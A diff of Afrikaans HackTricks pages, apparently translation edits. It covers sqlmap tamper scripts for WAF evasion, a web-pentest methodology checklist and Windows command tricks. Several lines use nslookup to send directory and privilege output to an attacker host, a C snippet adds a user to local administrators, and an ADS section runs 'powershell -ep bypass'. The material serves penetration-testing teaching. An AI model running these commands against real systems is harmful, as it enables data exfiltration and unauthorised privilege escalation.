| equaltolike.py | Vervang al voorkomste van operator gelyk ('=') met operator 'LIKE' |
|
| equaltolike.py | Vervang al voorkomste van operator gelyk ('=') met operator 'LIKE' |
|
||||||
| escapequotes.py | Skrap aanhalingstekens (' en ") |
|
| escapequotes.py | Slas escape aanhalings (' en ") |
|
||||||
| greatest.py | Vervang groter as operator ('>') met 'GREATEST' teenhanger |
|
| greatest.py | Vervang groter as operator ('>') met 'GREATEST' teenhanger |
|
||||||
| halfversionedmorekeywords.py | Voeg geversioneerde MySQL kommentaar voor elke sleutelwoord by |
|
| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by |
|
||||||
| ifnull2ifisnull.py | Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)' |
|
| ifnull2ifisnull.py | Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)' |
|
||||||
| modsecurityversioned.py | Omhels volledige navraag met geversioneerde kommentaar |
|
| modsecurityversioned.py | Omhels volledige navraag met weergawe kommentaar |
|
||||||
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-geversioneerde kommentaar |
|
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergawe kommentaar |
|
||||||
| multiplespaces.py | Voeg meerdere spasies rondom SQL sleutelwoorde by |
|
| multiplespaces.py | Voeg meerdere spasies rondom SQL sleutelwoorde by |
|
||||||
| nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging (bv. .replace("SELECT", "")) filters |
|
| nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging (bv. .replace("SELECT", "")) filters |
|
||||||
| percentage.py | Voeg 'n persentasieteken ('%') voor elke karakter by |
|
| percentage.py | Voeg 'n persentasieteken ('%') voor elke karakter by |
|
||||||
| overlongutf8.py | Converteer al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk) |
|
| overlongutf8.py | Converteer al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk nie) |
|
||||||
| randomcase.py | Vervang elke sleutelwoord karakter met random kaswaarde |
|
| randomcase.py | Vervang elke sleutelwoord karakter met random kaswaarde |
|
||||||
| randomcomments.py | Voeg random kommentaar by SQL sleutelwoorde |
|
| randomcomments.py | Voeg random kommentaar by SQL sleutelwoorde |
|
||||||
| securesphere.py | Voeg spesiaal saamgestelde string by |
|
| securesphere.py | Voeg spesiaal saamgestelde string by |
|
||||||
| sp\_password.py | Voeg 'sp\_password' by aan die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
|
| sp\_password.py | Voeg 'sp\_password' by die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
|
||||||
| space2comment.py | Vervang spasie karakter (' ') met kommentaar |
|
| space2comment.py | Vervang spasie karakter (' ') met kommentaar |
|
||||||
| space2dash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n random string en 'n nuwe lyn ('\n') |
|
| space2dash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n random string en 'n nuwe lyn ('\n') |
|
||||||
| space2hash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n random string en 'n nuwe lyn ('\n') |
|
| space2hash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n random string en 'n nuwe lyn ('\n') |
|
||||||
| space2morehash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n random string en 'n nuwe lyn ('\n') |
|
| space2morehash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n random string en 'n nuwe lyn ('\n') |
|
||||||
| space2mssqlblank.py | Vervang spasie karakter (' ') met 'n random leë karakter uit 'n geldige stel alternatiewe karakters |
|
| space2mssqlblank.py | Vervang spasie karakter (' ') met 'n random leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||||
| space2mssqlhash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n nuwe lyn ('\n') |
|
| space2mssqlhash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n nuwe lyn ('\n') |
|
||||||
| space2mysqlblank.py | Vervang spasie karakter (' ') met 'n random leë karakter uit 'n geldige stel alternatiewe karakters |
|
| space2mysqlblank.py | Vervang spasie karakter (' ') met 'n random leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||||
| space2mysqldash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n nuwe lyn ('\n') |
|
| space2mysqldash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n nuwe lyn ('\n') |
|
||||||
| space2plus.py | Vervang spasie karakter (' ') met plus ('+') |
|
| space2plus.py | Vervang spasie karakter (' ') met plus ('+') |
|
||||||
| space2randomblank.py | Vervang spasie karakter (' ') met 'n random leë karakter uit 'n geldige stel alternatiewe karakters |
|
| space2randomblank.py | Vervang spasie karakter (' ') met 'n random leë karakter uit 'n geldige stel alternatiewe karakters |
|
||||||
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhangers (&& en |
|
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhangers (&& en |
|
||||||
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
|
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
|
||||||
| unmagicquotes.py | Vervang aanhalingstekens karakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk) |
|
| unmagicquotes.py | Vervang aanhaling karakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk) |
|
||||||
| uppercase.py | Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT' |
|
| uppercase.py | Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT' |
|
||||||
| varnish.py | Voeg 'n HTTP kop 'X-originating-IP' by |
|
| varnish.py | Voeg 'n HTTP kop 'X-originating-IP' by |
|
||||||
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met geversioneerde MySQL kommentaar |
|
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar |
|
||||||
| versionedmorekeywords.py | Omhels elke sleutelwoord met geversioneerde MySQL kommentaar |
|
| versionedmorekeywords.py | Omhels elke sleutelwoord met weergawe MySQL kommentaar |
|
||||||
| xforwardedfor.py | Voeg 'n vals HTTP kop 'X-Forwarded-For' by |
|
| xforwardedfor.py | Voeg 'n vals HTTP kop 'X-Forwarded-For' by |
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -1,12 +1,12 @@
|
||||||
# Web Kwetsbaarhede Metodologie
|
# Web Vulnerabilities Methodology
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -29,10 +29,10 @@ In elke Web Pentest, is daar **verskeie verborge en voor die hand liggende plekk
|
||||||
## Proxies
|
## Proxies
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Tans **web** **toepassings** gebruik gewoonlik **n soort van** **tussenpersoon** **proxies**, wat (mis)bruik kan word om kwesbaarhede te ontgin. Hierdie kwesbaarhede benodig 'n kwesbare proxy om in plek te wees, maar hulle benodig gewoonlik ook 'n ekstra kwesbaarheid in die agtergrond.
|
Tans **gebruik** **web** **toepassings** gewoonlik **'n soort van** **intermediêre** **proxies**, hierdie kan (mis)bruik word om kwesbaarhede te ontgin. Hierdie kwesbaarhede benodig 'n kwesbare proxy om in plek te wees, maar hulle benodig gewoonlik ook 'n ekstra kwesbaarheid in die agtergrond.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* [ ] [**Misbruik van hop-by-hop headers**](abusing-hop-by-hop-headers.md)
|
* [ ] [**Misbruik hop-by-hop headers**](abusing-hop-by-hop-headers.md)
|
||||||
* [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
|
* [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
|
||||||
* [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
|
* [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
|
||||||
* [ ] [**H2C Smuggling**](h2c-smuggling.md)
|
* [ ] [**H2C Smuggling**](h2c-smuggling.md)
|
||||||
|
@ -52,21 +52,21 @@ Afhangende van die struktuur van die data wat die bediener verwag, mag sommige k
|
||||||
|
|
||||||
As die ingevoerde data op een of ander manier in die antwoord weerspieël kan word, mag die bladsy kwesbaar wees vir verskeie probleme.
|
As die ingevoerde data op een of ander manier in die antwoord weerspieël kan word, mag die bladsy kwesbaar wees vir verskeie probleme.
|
||||||
|
|
||||||
* [ ] [**Kliëntkant Sjabloon Injektering**](client-side-template-injection-csti.md)
|
* [ ] [**Kliëntkant Sjabloon Injekie**](client-side-template-injection-csti.md)
|
||||||
* [ ] [**Opdrag Injektering**](command-injection.md)
|
* [ ] [**Opdrag Injekie**](command-injection.md)
|
||||||
* [ ] [**CRLF**](crlf-0d-0a.md)
|
* [ ] [**CRLF**](crlf-0d-0a.md)
|
||||||
* [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
|
* [ ] [**Hangende Markup**](dangling-markup-html-scriptless-injection/)
|
||||||
* [ ] [**Lêer Insluiting/Pad Traversal**](file-inclusion/)
|
* [ ] [**Lêer Insluiting/Pad Traversal**](file-inclusion/)
|
||||||
* [ ] [**Open Redirect**](open-redirect.md)
|
* [ ] [**Open Redirect**](open-redirect.md)
|
||||||
* [ ] [**Prototipe Besoedeling na XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
* [ ] [**Prototipe Besoedeling na XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||||
* [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
|
* [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||||
* [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
|
* [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
|
||||||
* [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
|
* [ ] [**Server Side Sjabloon Injekie**](ssti-server-side-template-injection/)
|
||||||
* [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
|
* [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
|
||||||
* [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
* [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||||
* [ ] [**XSS**](xss-cross-site-scripting/)
|
* [ ] [**XSS**](xss-cross-site-scripting/)
|
||||||
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
||||||
* [ ] [**XS-Search**](xs-search/)
|
* [ ] [**XS-Soek**](xs-search/)
|
||||||
|
|
||||||
Sommige van die genoemde kwesbaarhede vereis spesiale toestande, ander vereis net dat die inhoud weerspieël word. Jy kan 'n paar interessante polyglots vind om vinnig die kwesbaarhede te toets in:
|
Sommige van die genoemde kwesbaarhede vereis spesiale toestande, ander vereis net dat die inhoud weerspieël word. Jy kan 'n paar interessante polyglots vind om vinnig die kwesbaarhede te toets in:
|
||||||
|
|
||||||
|
@ -76,14 +76,14 @@ Sommige van die genoemde kwesbaarhede vereis spesiale toestande, ander vereis ne
|
||||||
|
|
||||||
### **Soek funksies**
|
### **Soek funksies**
|
||||||
|
|
||||||
As die funksionaliteit gebruik kan word om 'n tipe data in die agtergrond te soek, kan jy dit dalk (mis)bruik om arbitrêre data te soek.
|
As die funksionaliteit gebruik kan word om 'n soort data in die agtergrond te soek, kan jy dit dalk (mis)bruik om arbitrêre data te soek.
|
||||||
|
|
||||||
* [ ] [**Lêer Insluiting/Pad Traversal**](file-inclusion/)
|
* [ ] [**Lêer Insluiting/Pad Traversal**](file-inclusion/)
|
||||||
* [ ] [**NoSQL Injektering**](nosql-injection.md)
|
* [ ] [**NoSQL Injekie**](nosql-injection.md)
|
||||||
* [ ] [**LDAP Injektering**](ldap-injection.md)
|
* [ ] [**LDAP Injekie**](ldap-injection.md)
|
||||||
* [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
|
* [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
|
||||||
* [ ] [**SQL Injektering**](sql-injection/)
|
* [ ] [**SQL Injekie**](sql-injection/)
|
||||||
* [ ] [**XPATH Injektering**](xpath-injection.md)
|
* [ ] [**XPATH Injekie**](xpath-injection.md)
|
||||||
|
|
||||||
### **Vorms, WebSockets en PostMsgs**
|
### **Vorms, WebSockets en PostMsgs**
|
||||||
|
|
||||||
|
@ -104,7 +104,7 @@ Afhangende van die HTTP headers wat deur die webbediener gegee word, mag sommige
|
||||||
|
|
||||||
### **Omseilings**
|
### **Omseilings**
|
||||||
|
|
||||||
Daar is verskeie spesifieke funksies waar sommige omseilings nuttig mag wees om te omseil.
|
Daar is verskeie spesifieke funksionaliteite waar sommige omseilings nuttig mag wees om te omseil.
|
||||||
|
|
||||||
* [ ] [**2FA/OTP Omseiling**](2fa-bypass.md)
|
* [ ] [**2FA/OTP Omseiling**](2fa-bypass.md)
|
||||||
* [ ] [**Omseil Betaling Proses**](bypass-payment-process.md)
|
* [ ] [**Omseil Betaling Proses**](bypass-payment-process.md)
|
||||||
|
@ -115,13 +115,13 @@ Daar is verskeie spesifieke funksies waar sommige omseilings nuttig mag wees om
|
||||||
* [ ] [**Herstel Vergete Wagwoord Omseiling**](reset-password.md)
|
* [ ] [**Herstel Vergete Wagwoord Omseiling**](reset-password.md)
|
||||||
* [ ] [**Registrasie Kwesbaarhede**](registration-vulnerabilities.md)
|
* [ ] [**Registrasie Kwesbaarhede**](registration-vulnerabilities.md)
|
||||||
|
|
||||||
### **Gestructureerde objek / Spesifieke funksies**
|
### **Gestructureerde objek / Spesifieke funksionaliteite**
|
||||||
|
|
||||||
Sommige funksies sal die **data vereis om in 'n baie spesifieke formaat gestruktureer te wees** (soos 'n taal-serialiseerde objek of XML). Daarom is dit makliker om te identifiseer of die toepassing kwesbaar mag wees aangesien dit daardie tipe data moet verwerk.\
|
Sommige funksionaliteite sal vereis dat die **data in 'n baie spesifieke formaat gestruktureer moet wees** (soos 'n taal-serialiseerde objek of XML). Daarom is dit makliker om te identifiseer of die toepassing kwesbaar mag wees aangesien dit daardie soort data moet verwerk.\
|
||||||
Sommige **spesifieke funksies** mag ook kwesbaar wees as 'n **spesifieke formaat van die invoer gebruik word** (soos E-pos Header Injektering).
|
Sommige **spesifieke funksionaliteite** mag ook kwesbaar wees as 'n **spesifieke formaat van die invoer gebruik word** (soos E-pos Header Injekies).
|
||||||
|
|
||||||
* [ ] [**Deserialisering**](deserialization/)
|
* [ ] [**Deserialisering**](deserialization/)
|
||||||
* [ ] [**E-pos Header Injektering**](email-injections.md)
|
* [ ] [**E-pos Header Injekie**](email-injections.md)
|
||||||
* [ ] [**JWT Kwesbaarhede**](hacking-jwt-json-web-tokens.md)
|
* [ ] [**JWT Kwesbaarhede**](hacking-jwt-json-web-tokens.md)
|
||||||
* [ ] [**XML Eksterne Entiteit**](xxe-xee-xml-external-entity.md)
|
* [ ] [**XML Eksterne Entiteit**](xxe-xee-xml-external-entity.md)
|
||||||
|
|
||||||
|
@ -132,11 +132,11 @@ Funksies wat lêers genereer wat gebruikersinvoer insluit, mag onverwagte kode u
|
||||||
Gebruikers wat lêers wat deur gebruikers opgelaai of outomaties gegenereer is, insluitend gebruikersinvoer, mag gecompromitteer word.
|
Gebruikers wat lêers wat deur gebruikers opgelaai of outomaties gegenereer is, insluitend gebruikersinvoer, mag gecompromitteer word.
|
||||||
|
|
||||||
* [ ] [**Lêer Oplaai**](file-upload/)
|
* [ ] [**Lêer Oplaai**](file-upload/)
|
||||||
* [ ] [**Formule Injektering**](formula-csv-doc-latex-ghostscript-injection.md)
|
* [ ] [**Formule Injekie**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||||
* [ ] [**PDF Injektering**](xss-cross-site-scripting/pdf-injection.md)
|
* [ ] [**PDF Injekie**](xss-cross-site-scripting/pdf-injection.md)
|
||||||
* [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
* [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||||
|
|
||||||
### **Eksterne Identiteitsbestuur**
|
### **Eksterne Identiteit Bestuur**
|
||||||
|
|
||||||
* [ ] [**OAUTH na Rekening oorneem**](oauth-to-account-takeover.md)
|
* [ ] [**OAUTH na Rekening oorneem**](oauth-to-account-takeover.md)
|
||||||
* [ ] [**SAML Aanvalle**](saml-attacks/)
|
* [ ] [**SAML Aanvalle**](saml-attacks/)
|
||||||
|
@ -153,20 +153,20 @@ Hierdie kwesbaarhede mag help om ander kwesbaarhede te ontgin.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -369,7 +369,7 @@ for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_ka
|
||||||
#More complex commands
|
#More complex commands
|
||||||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
|
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
|
||||||
```
|
```
|
||||||
U kan ook die **uitset** **herlei** en dit dan **lees**.
|
U kan ook die **uitset** herlei, en dit dan **lees**.
|
||||||
```
|
```
|
||||||
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
|
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
|
||||||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
|
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
|
||||||
|
@ -389,7 +389,7 @@ i=system("net localgroup administrators otherAcc /add");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## Alternatiewe Gegewestrome CheatSheet (ADS/Alternatiewe Gegewestroom)
|
## Alternatiewe Gegevensstrome CheatSheet (ADS/Alternatiewe Gegevensstroom)
|
||||||
|
|
||||||
**Voorbeelde geneem van** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Daar is baie meer daar!**
|
**Voorbeelde geneem van** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Daar is baie meer daar!**
|
||||||
```bash
|
```bash
|
||||||
|
@ -419,9 +419,9 @@ powershell -ep bypass - < c:\temp:ttt
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
